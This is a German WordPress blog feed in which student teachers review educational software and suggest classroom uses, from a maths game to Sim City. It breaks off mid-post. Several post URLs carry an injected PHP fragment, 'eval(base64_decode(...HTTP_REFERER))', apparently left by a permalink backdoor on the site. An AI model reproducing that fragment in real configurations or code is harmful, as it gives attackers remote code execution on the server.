		<description><![CDATA[bearbeitet von: Klaus Lammers, Isabell Wonerow, Karoline Scheel  Ausstattung/Handhabung Systemvorasusetzungen:  Multimedia-PC: Pentium Prozessor, 233 MHz; 64 MB RAM; 100 MB freier Festplattenspeicher; Soundkarte; Grafikkarte mit Aufl&#246;sung 800&#215;600 Pixel bei Highcolor (16-bit); 12xspeed CD-ROM Laufwerk; Windowas 95/98/ME/XP F&#252;r Mac: Power Mac; 233 MHz; 64 MB RAM; 100 MB freier Festplattenspeicher; Soundkarte; Aufl&#246;sung 800&#215;600 Pixel bei Highcolor [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>bearbeitet von: Klaus Lammers, Isabell Wonerow, Karoline Scheel</li>
</ul>
<p> <strong>Ausstattung/Handhabung</strong></p>
<p><em>Systemvorasusetzungen:</em></p>
<ul>
<li> Multimedia-PC: Pentium Prozessor, 233 MHz; 64 MB RAM; 100 MB freier Festplattenspeicher; Soundkarte; Grafikkarte mit Aufl&#246;sung 800&#215;600 Pixel bei Highcolor (16-bit); 12xspeed CD-ROM Laufwerk; Windowas 95/98/ME/XP</li>
<li>F&#252;r Mac: Power Mac; 233 MHz; 64 MB RAM; 100 MB freier Festplattenspeicher; Soundkarte; Aufl&#246;sung 800&#215;600 Pixel bei Highcolor (32.768 Farben); 12xspeed CD-ROM Laufwerk; System 8.1 oder h&#246;her</li>
</ul>
<p><em>Preis:</em></p>
<ul>
<li>29,90 €</li>
</ul>
<p><strong>Inhalte und Lernziele</strong></p>
<p><em>Fach:</em> Mathematik</p>
<p><em>Klasse:</em> ab zehn Jahren (5.Klasse)</p>
<p><em>Schwierigkeitsgrad:</em></p>
<ul>
<li>nicht ausw&#228;hlbar</li>
<li>f&#252;r F&#252;nftkl&#228;ssler teilweise schon sehr anspruchsvoll</li>
<li>von leichten bis schweren Kapiteln alles vertreten</li>
</ul>
<p><em>Themen:</em></p>
<ul>
<li>gew&#246;hnliche Zahlen; Zahlen zwischen 0 und 1; &#8220;aus der 1 lassen sich alle zehn Ziffern bilden&#8221;; Spiel: Sch&#228;tzen durch geschickte N&#228;herung</li>
<li>Bedutung der Null; Potenzen; Stellenwert-Schreibweise; Spiel: R&#246;mische Zahlen</li>
<li>Dividieren ohne Rest; Primzahlen; Spiel: Primzahlen erkennen</li>
<li>Br&#252;che/Dezimalbr&#252;che; Wurzel ziehen; Spiel: Wurzel-/Quadratzahlen</li>
<li>Dreieckszahlen; Quadratzahlen; Spiel: Dreieckszahlen</li>
<li>Fibonacci-Zahlen</li>
<li>Pascalsches Dreieck; Spiel: Pascalsches Dreieck</li>
<li>Kombinatorik; Spiel: Kombinatorik</li>
<li>Zahlenfolgen und Unendlichkeit; Zahlenreihen; Spiel: Unendlich kleine Zahlen</li>
<li>Goldener Schnitt; F&#252;nfeck; Eulersche Formel; Spiel: Polyeder erkennen</li>
</ul>
<p><em>Lernziele:</em></p>
<ul>
<li>Sch&#252;ler sollen einen Einblick in verschiedene mathematische Themengebiete bekommen</li>
</ul>
<p><strong>P&#228;dagogische Eignung</strong></p>
<p><em>Nutzung:</em> allein</p>
<p><em>Einsatz im Unterricht:</em></p>
<ul>
<li>schwierig, da man f&#252;r jeden Sch&#252;ler einen Pc Ben&#246;tigt, Headsets, 25x das Spiel</li>
<li>schwierig, da keine Anlehnung an den Lehrplan gegeben ist</li>
</ul>
<p><em>Minimale sinnvolle Spielzeit: </em></p>
<ul>
<li>beim ersten Mal etwa 60 Minuten</li>
<li>im weiteren Verlauf ja nach Kapitell&#228;nge 30-45 Minuten</li>
</ul>
<p><em>Kontrolle &#252;ber Lernprozess:</em></p>
<ul>
<li>nicht vorhanden</li>
</ul>
<p><strong>Didaktik</strong></p>
<p><em>Alle Lerntypen:</em></p>
<ul>
<li>werden nicht angesprochen, da die einzelnen Kapitel wie Frontalunterricht aufgebaut sind. Die Sch&#252;ler m&#252;ssen zuerst nur zuh&#246;ren, dann k&#246;nnen sie, wenn sie wollen selbst etwas &#252;ben, dann wird wieder etwas erz&#228;hlt.</li>
</ul>
<p><em>Kombination Spielen und Lernen:</em></p>
<ul>
<li>Spiele sind genug vorhanden</li>
<li>Lernen werden nur die Sch&#252;ler etwas, die sich auf das Spiel einlassen. Sie m&#252;ssen also zuh&#246;ren und die Aufgaben, bei denen sie selbst t&#228;tig werden k&#246;nnen nutzen</li>
</ul>
<p><em>Motivation:</em></p>
<ul>
<li>viel Lob</li>
<li>es gibt Punkte (jedoch nur bei den Spielen und nciht bei den mathematischen Aufgaben, die zwischendurch gel&#246;st werden sollen)</li>
<li>es gibt keine verschiedenen Level</li>
<li>Fehlerbehebung bei Aufgaben nicht klar erkennbar</li>
</ul>
<p><em>Belohnung:</em></p>
<ul>
<li>Nachdem alle Spiele durchgespielt sind und eine gewisse Punktzahl erreicht wurde, kommt man zum Masterspiel, bei dem die Sch&#252;ler gegen den Zahlenteufel oder einen anderen Sch&#252;ler spielen k&#246;nnen</li>
<li>High-Score-Liste im Internet nachdem man das Spiel durchgespielt hat</li>
</ul>
<p><strong>Spa&#223; und Gestaltung</strong></p>
<p><em>Ansprechend und an Alter angepasst: </em>ja</p>
<p><em>Multiplayer-Funktion:</em></p>
<ul>
<li>generell nicht vorhanden</li>
<li>im Masterspiel kann man gegen eine andere Person abwechselnd auf einem PC spielen</li>
</ul>
<p><em>Bedienung:</em></p>
<ul>
<li>einfach, da sowohl das komplette Startmen&#252; erkl&#228;rt wird, als auch jede Aufgabe und jedes Spiel</li>
</ul>
<p><em>Gliederung des Spiels:</em></p>
<ul>
<li>ist gegeben im Men&#252;punkt &#8220;Such- und Findeliste&#8221;</li>
</ul>
<p><strong>Fazit</strong></p>
<p>Diese Software ist nicht f&#252;r den regul&#228;ren Schulunterricht geeignet, da weder eine Anlehnung an den Lehrplan gegeben ist, noch eine Lernkontrolle durchgef&#252;hrt werden kann. Lediglich w&#252;rde sie sich f&#252;r den Einsatz im Unterricht als Einstieg in ein Thema eignen. Sonst k&#246;nnte man diese Software als Grundlage f&#252;r eine Mathematik-AG nutzen, da man dort dann Themen, die nicht im Lehrplan zu finden sind ansprechen und bearbeiten kann. Die Software ist auch im privaten Gebrauch ncihte als &#8220;Mathe-Nachhilfe-Software&#8221; zu gebrauchen! F&#252;r matheinteressierte Kinder w&#228;re sie eine Anschaffung wert.</p>
<p>Schade ist, dass die Speile am Ende eines jeden Kapitels teilweise nicht viel mit den Inhalten der jeweiligen Kapitel zu tun haben. Dadurch erzielen die Kinder keine richtigen Lernerfolg, sondern sie laufen Gefahr, dass sie das Spiel nur &#8220;des spielens Willen&#8221; spielen. Das in den Kapiteln gelernte wird nicht vertieft und gefestigt.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Verwendung Chemikus im Unterricht</title>
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		<pubDate>Tue, 10 Jul 2007 05:11:49 +0000</pubDate>
		<dc:creator>vharberts</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Ich schlie&#223;e mich der Aussage von Mareike an, dass auch mir es schwer f&#228;llt mir CHemikus als eine Lernsoftware in der Schule zu nutzen. Aufgrund der Tatsache, dass es recht schwer ist, komplexes Wissen abfragt und nicht Lernplankonform ist, w&#252;rde ich es definitiv nicht verwenden. Die einzige Nutzung die mir einfallen k&#246;nnte, w&#228;re in einer [...]]]></description>
			<content:encoded><![CDATA[<p>Ich schlie&#223;e mich der Aussage von Mareike an, dass auch mir es schwer f&#228;llt mir CHemikus als eine Lernsoftware in der Schule zu nutzen. Aufgrund der Tatsache, dass es recht schwer ist, komplexes Wissen abfragt und nicht Lernplankonform ist, w&#252;rde ich es definitiv nicht verwenden.</p>
<p>Die einzige Nutzung die mir einfallen k&#246;nnte, w&#228;re in einer Chemie AG, in der chemisch sehr bewanderte und vorallem interessierte Sch&#252;ler sitzen <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Allerdings sind in diesem Fall die Anschaffungskosten f&#252;r die Schule nicht gerade gering.</p>
<p>Fazit: Es gibt sicher bessere und sinnvollere Lernprogramme f&#252;r die Schule&#8230;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Einsatz der Lernsoftware &#8220;Die Stadt im Mittelalter&#8221;</title>
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		<pubDate>Sun, 08 Jul 2007 20:19:13 +0000</pubDate>
		<dc:creator>janinawiens</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[hej, da mein Beitrag, den ich nach unserem Referat im Juni gebloggt habe, irgendwie verschwunden ist, stelle ich ihn nochmal rein: Die Software ist gut im Unterricht einsetzbar, meiner Meinung nach jedoch nur im Rahmen eines Projekts. Dabei sollen in Gruppenarbeit (2-3 Personen) Themenkomplexe erarbeitet werden (z.B. Essen im Mittelalter, Berufe im Mittelalter, Hygiene, die [...]]]></description>
			<content:encoded><![CDATA[<p>hej, da mein Beitrag, den ich nach unserem Referat im Juni gebloggt habe, irgendwie verschwunden ist, stelle ich ihn nochmal rein:</p>
<p>Die Software ist gut im Unterricht einsetzbar, meiner Meinung nach jedoch nur im Rahmen eines Projekts. Dabei sollen in Gruppenarbeit (2-3 Personen) Themenkomplexe erarbeitet werden (z.B. Essen im Mittelalter, Berufe im Mittelalter, Hygiene, die Pest&#8230;)</p>
<p>Wichtig f&#252;r diese Projektarbeit ist eine konkrete Aufgabenstellung vom Lehrer, aus der klar wird, was gefordert wird (z.B. schriftliche Ausarbeitung bestimmter Fragen, die eine Reflektion des Wissens erfordern und Pr&#228;sentation der Ergebnisse). Miteinzuplanen ist eine Einf&#252;hrungsstunde, in der die Software vorgestellt und das Benutzermen&#252; erkl&#228;rt wird. Das Programm eignet sich meiner Meinung nach sehr gut zur Informationsbeschaffung, da es nicht textlastig ist und das Wissen sch&#252;lergerecht verpackt ist. Anhand von Originalquellen wird das neue Wissen veranschaulicht oder auch erkl&#228;rt.</p>
<p>Problematisch k&#246;nnte es mit dem Ger&#228;uschpegel im Klassenraum werden, da es sich bei der Software fast ausschlie&#223;lich um auditive Texte handelt. Deshalb m&#252;ssten die Computer r&#228;umlich getrennt sein, was in einem Klassenraum aber nicht m&#246;glich ist oder jeder Sch&#252;ler m&#252;sste Kopfh&#246;rer bekommen.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Einsatzm&#246;glichkeiten der Software &#8220;Lernvitamin Deutsch&#8221;</title>
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		<pubDate>Fri, 06 Jul 2007 16:02:06 +0000</pubDate>
		<dc:creator>Sabine Tomm</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Sylwia Vermehren, Sabine Tomm Die Software kann im Unterricht eingesetzt werden, um Sprachkunde, Rechtschreibung oder Grammatik zu &#252;ben. Am besten sollte der Einsatz nach der Einf&#252;hrung in ein bestimmtes Thema, z. B. Gro&#223;- und Kleinschreibung, erfolgen. Zum Festigen des Gelernten k&#246;nnen die Sch&#252;ler dann die Software nutzen. Mit Hilfe des IntelliPlans kann der Lehrer kontrollieren, [...]]]></description>
			<content:encoded><![CDATA[<p>Sylwia Vermehren, Sabine Tomm</p>
<p>Die Software kann im Unterricht eingesetzt werden, um Sprachkunde, Rechtschreibung oder Grammatik zu &#252;ben. Am besten sollte der Einsatz nach der Einf&#252;hrung in ein bestimmtes Thema, z. B. Gro&#223;- und Kleinschreibung, erfolgen. Zum Festigen des Gelernten k&#246;nnen die Sch&#252;ler dann die Software nutzen. Mit Hilfe des IntelliPlans kann der Lehrer kontrollieren, wie erfolgreich die einzelnen Sch&#252;ler waren. Je nach Bedarf kann dann weiter ge&#252;bt werden.</p>
<p>Au&#223;erdem kann die Software gezielt zur F&#246;rderung bei Schw&#228;chen einzelner Sch&#252;ler eingesetzt werden. Sind wiederum andere Sch&#252;ler besonders gut in einigen Themen, k&#246;nnte man sie frei w&#228;hlen lassen, was sie bearbeiten m&#246;chten. „Lernvitamin“ kann also auf die individuellen Anforderungen der Sch&#252;ler zugeschnitten werden.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Frage zur Vorstellung der Lernsoftware &#8220;Mathetiger&#8221; gestern</title>
		<link>http://www.didactalab.de/teachlab/2007/07/06/frage-zur-vorstellung-der-lernsoftware-mathetiger-gestern/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/07/06/frage-zur-vorstellung-der-lernsoftware-mathetiger-gestern/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 06 Jul 2007 06:52:42 +0000</pubDate>
		<dc:creator>WiebkeG</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hallo, ich wollte nur mal kurz die Gruppe von gestern, die die Lernsoftware &#8220;Mathetiger&#8221; vorgestellt hat, fragen, wo ihr die Software eigentlich gekauft habt? Ihr sagtet ja, dass sie irgendwie nur 1,40 Euro gekostet habe, was ja wirklich ein Schn&#228;ppchen ist Da ich sie ziemlich gut fand, wollte ich gerne wissen, wo ihr sie her [...]]]></description>
			<content:encoded><![CDATA[<p>Hallo,</p>
<p>ich wollte nur mal kurz die Gruppe von gestern, die die Lernsoftware &#8220;Mathetiger&#8221; vorgestellt hat, fragen, wo ihr die Software eigentlich gekauft habt? Ihr sagtet ja, dass sie irgendwie nur 1,40 Euro gekostet habe, was ja wirklich ein Schn&#228;ppchen ist <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Da ich sie ziemlich gut fand, wollte ich gerne wissen, wo ihr sie her habt <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Sch&#246;ne Gr&#252;&#223;e, Wiebke</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Einsatzm&#246;glichkeiten des &#8220;Zahlenteufels&#8221; im Unterricht</title>
		<link>http://www.didactalab.de/teachlab/2007/07/05/einsatzmoeglichkeiten-des-zahlenteufels-im-unterricht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/07/05/einsatzmoeglichkeiten-des-zahlenteufels-im-unterricht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 05 Jul 2007 10:42:14 +0000</pubDate>
		<dc:creator>karokitty</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[bearbeitet von: Klaus Lammers, Karoline Scheel, Isabell Wonerow Da unsere Lernsoftware unserer Meinung nach nicht f&#252;r den Schulgebrauch, d.h. nicht f&#252;r den regul&#228;ren Matheunterricht im Klassenverband geeeignet ist, f&#228;llt es uns an dieser Stelle schwer einen Unterrichtsentwurf zum &#8220;Zahlenteufel&#8221; zu schreiben. Jedoch w&#252;rde sich die Software gut f&#252;r eine Mathe-AG im Nachmittagsunterricht eignen. Daher werden [...]]]></description>
			<content:encoded><![CDATA[<p>bearbeitet von: Klaus Lammers, Karoline Scheel, Isabell Wonerow</p>
<p>Da unsere Lernsoftware unserer Meinung nach nicht f&#252;r den Schulgebrauch, d.h. nicht f&#252;r den regul&#228;ren Matheunterricht im Klassenverband geeeignet ist, f&#228;llt es uns an dieser Stelle schwer einen Unterrichtsentwurf zum &#8220;Zahlenteufel&#8221; zu schreiben. Jedoch w&#252;rde sich die Software gut f&#252;r eine Mathe-AG im Nachmittagsunterricht eignen. Daher werden wir im Folgenden unsere Vorstellungen von einer Mathe-AG angelehnt an den &#8220;Zahlenteufel&#8221; beschreiben.</p>
<p>In unserer Lernsoftware werden viele Themengebiete bearbeitet, die im regul&#228;rer Lernplan der Klassenstufe 5/6 keinen Platz finden. Hierzu z&#228;hlen z.B:</p>
<ul>
<li>Anna-Otto-Zahlen</li>
<li>Dreieckszahlen</li>
<li>Pascalsche Dreieck</li>
<li>Fibonacci-Zahlen</li>
<li>Goldener Schnitt</li>
</ul>
<p>Da wir uns in einer Mathe-AG mathebegeisterte Sch&#252;ler vorstellen und der Nachmittagsunterricht spannender gestaltet sein soll, w&#252;rden wir diese Software eher in diesem Bereich einsetzen. Sie gibt den Sch&#252;lern in den einzelnen Themengebieten eine gute Einf&#252;hrung, die jedoch in der darauffolgenden Stunde noch vertieft werden sollte. So w&#252;rden wir beispielsweise die Sch&#252;ler in der ersten Stunde das erste Kapitel durchspielen lassen, wobei durch die guten Erkl&#228;rungen des Zahlenteufels eine Einf&#252;hrung in die Bedienung unsererseits nicht von N&#246;ten ist. Die Sch&#252;ler k&#246;nnen selbstst&#228;ndig die Traumwelt der Hauptperson Robert kennenlernen und  so  ein anderen Zugang zur Mathematik entdecken. Auch eine gewisse  Differenzierung von  starken bzw. schwachen Sch&#252;lern ist gegeben, da man in den einzelnen Kapiteln die Wahl hat die Aufgaben entweder selber zu rechnen oder sich die L&#246;sungen durch Robert vorgeben zu lassen. Starken Sch&#252;lern wird auch die M&#246;glichkeit geboten selbstst&#228;ndig weitere Kapitel zu bearbeiten und k&#246;nnen so ihr eigenes Arbeitstempo festlegen. Da aber die Lernsoftware lediglich ein kleinen &#220;berblick zu den Themen liefert, muss der Lehrer in der folgenden Stunde weiterf&#252;hrende Aufgabenstellungen geben.</p>
<p>Die Lernsoftware ist an Themengebieten weit gef&#228;chert und bietet deswegen besondes f&#252;r eine AG eine gute Grundlage, da die Sch&#252;ler die Kapitel nach ihren Interessen selbstst&#228;ndig durchspielen k&#246;nnen. Anderenfalls k&#246;nnte man diese Software auch geringf&#252;gig f&#252;r den normalen Unterricht gebrauchen und so z.B. &#252;ber einen Beamer eine Einf&#252;hrung des Zahlenteufels in ein Thema der Klasse zeigen und so gegebenenfalls die Motivation der Sch&#252;ler steigern. Au&#223;erdem bietet sich die Software an um den Unterrichtsstoff au&#223;erhalb der Schulzeit zu vertiefen.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>UE Geschichte &#8211; Die Stadt im Mittelalter</title>
		<link>http://www.didactalab.de/teachlab/2007/07/05/ue-geschichte-die-stadt-im-mittelalter/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Thu, 05 Jul 2007 10:10:56 +0000</pubDate>
		<dc:creator>Silke Büscher</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[UE Geschichte: Die Stadt im Mittelalter: Hier kann eine tabellarische &#220;bersicht &#252;ber unsere Unterrichtseinheit hochgeladen werden. Die UE zur Lernsoftware &#8220;Die Stadt im Mittelalter &#8211; Alltagsleben hinter Turm und Mauern&#8221; umfasst 8 Stunden und eine Exkursion. Die Software wird im Rahmen eines kleinen vierst&#252;ndigen Projekts von den Sch&#252;lern genutzt. Verfasser der UE: Yvonne Jordan, Wiebke [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.didactalab.de/teachlab/wp-content/uploads/2007/07/ue-lernsoftware.doc" title="Die Stadt im Mittelalter">UE Geschichte: Die Stadt im Mittelalter</a>: Hier kann eine tabellarische &#220;bersicht &#252;ber unsere Unterrichtseinheit hochgeladen werden.</p>
<p>Die UE zur Lernsoftware &#8220;Die Stadt im Mittelalter &#8211; Alltagsleben hinter Turm und Mauern&#8221; umfasst 8 Stunden und eine Exkursion. Die Software wird im Rahmen eines kleinen vierst&#252;ndigen Projekts von den Sch&#252;lern genutzt.</p>
<p>Verfasser der UE: Yvonne Jordan, Wiebke Gebbert, Janina Wiens, Meike und Silke B&#252;scher</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Zum Einsatz im Unterricht von Food Force</title>
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		<pubDate>Thu, 05 Jul 2007 07:26:50 +0000</pubDate>
		<dc:creator>jawol</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Es lassen sich Einsatzm&#246;glichkeiten des Spiels zu unterschiedlichen Themen denken: z.B. Arbeit von Hilfsorganisationen, Propaganda heute, Hungerproblematik. Wir wollen uns hier auf die Arbeit von Hilfsorgansationen beschr&#228;nken. F&#252;r die Oberstufe wird Hunger in den Themenbereichen Agrargeographie und Tragf&#228;higkeit der Erde besprochen. Hunger hat verscheidene Ursachen. Die Strategien, die an den unterschiedlichen Ursachen zur Bek&#228;mpfung von [...]]]></description>
			<content:encoded><![CDATA[<p>Es lassen sich Einsatzm&#246;glichkeiten des Spiels zu unterschiedlichen Themen denken: z.B. Arbeit von Hilfsorganisationen, Propaganda heute, Hungerproblematik. Wir wollen uns hier auf die Arbeit von Hilfsorgansationen beschr&#228;nken.</p>
<p>F&#252;r die Oberstufe wird Hunger in den Themenbereichen Agrargeographie und Tragf&#228;higkeit der Erde besprochen. Hunger hat verscheidene Ursachen. Die Strategien, die an den unterschiedlichen Ursachen zur Bek&#228;mpfung von Hunger ansetzen, stehen immer wieder in der Diskussion. Die vielen Organisationen, die sich der Bek&#228;mpfung von Hunger verschrieben haben, haben unterschiedliche Ans&#228;tze, die sich aus ihren Entstehungshintergr&#252;nden ergeben &#8211; WFP als UNO Unterorganisation (Regierungsorgansisation) arbeitet beispielsweise anders als Brot f&#252;r die Welt (NGO).</p>
<p>Man kann Food Force zum Einstieg  oder zur Vertiefung nutzen. Zur Ergebnissicherung ist dieses Spiel eher ungeeignet. Die Nutzung zur Vertiefung stellen wir uns wie folgt vor:</p>
<p>Nachdem im Unterricht verschiedene Hilfsorganisationen kurz skizziert sowie deren Handlungsfelder vorgestellt wurden,  k&#246;nnen die  Sch&#252;lerInnen in einer Unterrichtsstunde (unseres Erachtens reichen 45 Minuten zum Spielen aller Level aus) Food Force selbstst&#228;ndig spielen. Vorteil des Spiels ist, dass es selbsterkl&#228;rend (bzw. einfache und klare Erkl&#228;rungen zur Spielweise) und leicht zu bedienen ist &#8211; dadurch muss keine Einf&#252;hrung durch die Lehrkraft erfolgen. Gegebenenfalls sollte eine weitere Stunde dazu genutzt werden, auch die zus&#228;tzlichen Informationen zum WFP, die in Food Force sowie auf der Webseite gegeben werden, zu bearbeiten.</p>
<p>Die anschlie&#223;ende Reflexion sollte aufgrund der Intention des Spiels kritisch erfolgen. Fragen dazu w&#228;ren beispielsweise:</p>
<ul>
<li>Welche Arbeitsbereiche des WFP werden vorgestellt?</li>
<li>Wie werden Rebellen dargestellt?</li>
<li> Welche m&#246;glichen Probleme k&#246;nnten bei der Arbeit auftreten, die nicht angesprochen wurden?</li>
<li>Welches Interesse k&#246;nnte die EU daran haben, dass das Spiel gespielt wird?</li>
<li>Was ist die Intention des Spiels?</li>
<li>(&#8230;)</li>
</ul>
<p>Franziska und Jan</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/07/05/zum-einsatz-im-unterricht-von-food-force/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Zur Ausstattung und Handhabung von Google Earth</title>
		<link>http://www.didactalab.de/teachlab/2007/07/05/zur-ausstattung-und-handhabung-von-google-earth/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/07/05/zur-ausstattung-und-handhabung-von-google-earth/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 05 Jul 2007 06:48:33 +0000</pubDate>
		<dc:creator>Wesemann</dc:creator>
				<category><![CDATA[Aufgaben]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=319</guid>
		<description><![CDATA[Ausstattung/Handhabung   Systemvoraussetzung: Sim City 3000              ●         Windows 95/98 Intel Pentium ●         166 MHz ●         32 Mb RAM ●         230MB Festplattenplatz ●         4fach–CD-Rom-Laufwerk ●         2-MB-Grafikkarte   Google Earth 4.1           Minimal: Betriebssystem: Windows 2000, Windows XP PU: Pentium 3, 500 MHz &#8211; Systemarbeitsspeicher (RAM): 128 MB RAM Festplatte: 400 MB frei Netzwerkgeschwindigkeit: 128 Kb/s Grafikkarte: [...]]]></description>
			<content:encoded><![CDATA[<p><strong><u>Ausstattung/Handhabung</u></strong></p>
<p> </p>
<p>Systemvoraussetzung:</p>
<p>Sim City 3000              ●         Windows 95/98 Intel Pentium </p>
<p>●         166 MHz</p>
<p>●         32 Mb RAM</p>
<p>●         230MB Festplattenplatz</p>
<p>●         4fach–CD-Rom-Laufwerk</p>
<p>●         2-MB-Grafikkarte</p>
<p> </p>
<p>Google Earth 4.1         </p>
<p> </p>
<p>Minimal:</p>
<ul>
<li>Betriebssystem: Windows      2000, Windows XP</li>
<li>PU: Pentium 3, 500 MHz &#8211;      Systemarbeitsspeicher (RAM): 128 MB RAM</li>
<li>Festplatte: 400 MB frei</li>
<li>Netzwerkgeschwindigkeit:      128 Kb/s</li>
<li>Grafikkarte: 3D-f&#228;hige      Videokarte mit 16 MB VRAM</li>
<li>Bildschirm: 1024&#215;768,      16-Bit-High-Color-Bildschirm</li>
</ul>
<p>Empfohlen:</p>
<ul>
<li>Betriebssystem: Windows XP</li>
<li>CPU: Pentium 4 2,4 GHz+      oder AMD 2400xp+</li>
<li>Systemarbeitsspeicher      (RAM): 512 MB RAM</li>
<li>Festplatte: 2 GB frei</li>
<li>Netzwerkgeschwindigkeit:      768 Kb/s</li>
<li>Grafikkarte: 3D-f&#228;hige      Videokarte mit 32 MB VRAM</li>
<li>Bildschirm: 1280 x 1024,      32-Bit-True-Color-Bildschirm</li>
</ul>
<p> </p>
<p>Sound:</p>
<p>Sim City 3000             vorhanden</p>
<p>Google Earth 4.1          nicht vorgesehen</p>
<p> </p>
<p> </p>
<p><strong><u>Preis-Leistung</u></strong></p>
<p>Kosten:</p>
<p>Sim City 3000             Amazon 6.99€ (mit Sim Tower zusammen 11.98€)</p>
<p>Google Earth 4.1          Software kostenlos downloadbar / Google Earth Plus 20$/ Google Earth Pro 400$</p>
<p> </p>
<p>Programmerweiterungen (Addons): </p>
<p>Sim City 3000              Sim City 4 Rush Hour, Sim City Classic, Sim City Tower</p>
<p>Google Earth 4.1         Google Earth Plus/ Google Earth Pro/ Google Earth Enterprise</p>
<p> </p>
<p>Updates:</p>
<p>Sim City 3000             nicht bekannt (ggf. Infos direkt &#252;ber Green Pepper )</p>
<p>Google Earth 4.1         nicht bekannt (ggf. Infos direkt &#252;ber Google)</p>
<p> </p>
]]></content:encoded>
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		</item>
		<item>
		<title>Lernsoftware Sim City: Einsatz im Unterricht</title>
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		<pubDate>Wed, 04 Jul 2007 20:40:30 +0000</pubDate>
		<dc:creator>jasmin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Fachliche Einbindung &#8211; m&#246;gliche Projekteinstiege &#8220;St&#228;dte sind zu allen Zeiten und in allen Kulturr&#228;umen der Erde stets Spiegelbild der jeweiligen Gesellschaftsordnungen und Wirtschaftssysteme gewesen. Sie haben als Konzentrationspunkte menschlicher Aktivit&#228;ten ma&#223;geblichen Anteil an kultureller und wirtschaftlicher Entwicklung der menschlichen Gesellschaft&#8221; (Fundamente 1994, S.312). Die Auseinandersetzung mit dem Thema &#8220;Stadt&#8221; hat also exemplarischen Charakter, denn &#252;ber [...]]]></description>
			<content:encoded><![CDATA[<p>Fachliche Einbindung &#8211; m&#246;gliche Projekteinstiege<br />
&#8220;St&#228;dte sind zu allen Zeiten und in allen Kulturr&#228;umen der Erde stets Spiegelbild der jeweiligen Gesellschaftsordnungen und Wirtschaftssysteme gewesen. Sie haben als Konzentrationspunkte menschlicher Aktivit&#228;ten ma&#223;geblichen Anteil an kultureller und wirtschaftlicher Entwicklung der menschlichen Gesellschaft&#8221; (Fundamente 1994, S.312).<br />
Die Auseinandersetzung mit dem Thema &#8220;Stadt&#8221; hat also exemplarischen Charakter, denn &#252;ber eine Bestandsaufnahme hinaus wird zwangsl&#228;ufig die Frage nach der Vergangenheit aufgeworfen. Wie haben sich St&#228;dte entwickelt und welche Faktoren waren ausschlaggebend f&#252;r diese Entwicklung? Gleichzeitig stellt sich auch die Frage nach der Zukunft von St&#228;dten vor dem Hintergrund einer weiteren Urbanisierung (Zeit-Punkte 4/1994, S.86ff).<br />
Spielbeginn<br />
Die Sch&#252;ler sollen sich mit dem Aufbau des Spiels und vor allem mit den verschiedenen M&#246;glichkeiten der Steuerung (Men&#252;leisten) vertraut machten. Unterst&#252;tzung k&#246;nnen die Sch&#252;ler durch Ausz&#252;ge aus dem Handbuch bzw.  einer Power-Point–Pr&#228;sentation oder Folien &#252;ber den Overhead- Projektor bekommen. Um faire Startbedingungen zu gew&#228;hrleisten, sollten alle Sch&#252;ler das gleiche Gel&#228;nde sowie das gleiche Startkapital und Startdatum bekommen. Die Sch&#252;ler sollen jeweils zu zweit oder zu dritt vor einem Computer sitzen.<br />
Die Sch&#252;ler werden feststellen, dass das Geld ziemlich schnell verbraucht ist und sie daher die Gr&#252;ndung einer Stadt systematischer angehen m&#252;ssen. F&#252;r das Spiel hei&#223;t dies konkret: Das vorhandene Kapital muss so eingesetzt werden, dass nach einer gewissen Zeit auch Geld in die Stadtkasse zur&#252;ckflie&#223;t. Also m&#252;ssen als Grundvoraussetzung ein Kraftwerk gebaut, Industrie- und Wohnfl&#228;chen ausgewiesen, Stra&#223;enverbindungen hergestellt werden. Hier k&#246;nnen Anregungen durch google EARTH (bzw. google maps) einflie&#223;en. Durch die Anschauung echter St&#228;dte k&#246;nnen deren St&#228;rken und Schw&#228;chen ermittelt werden.<br />
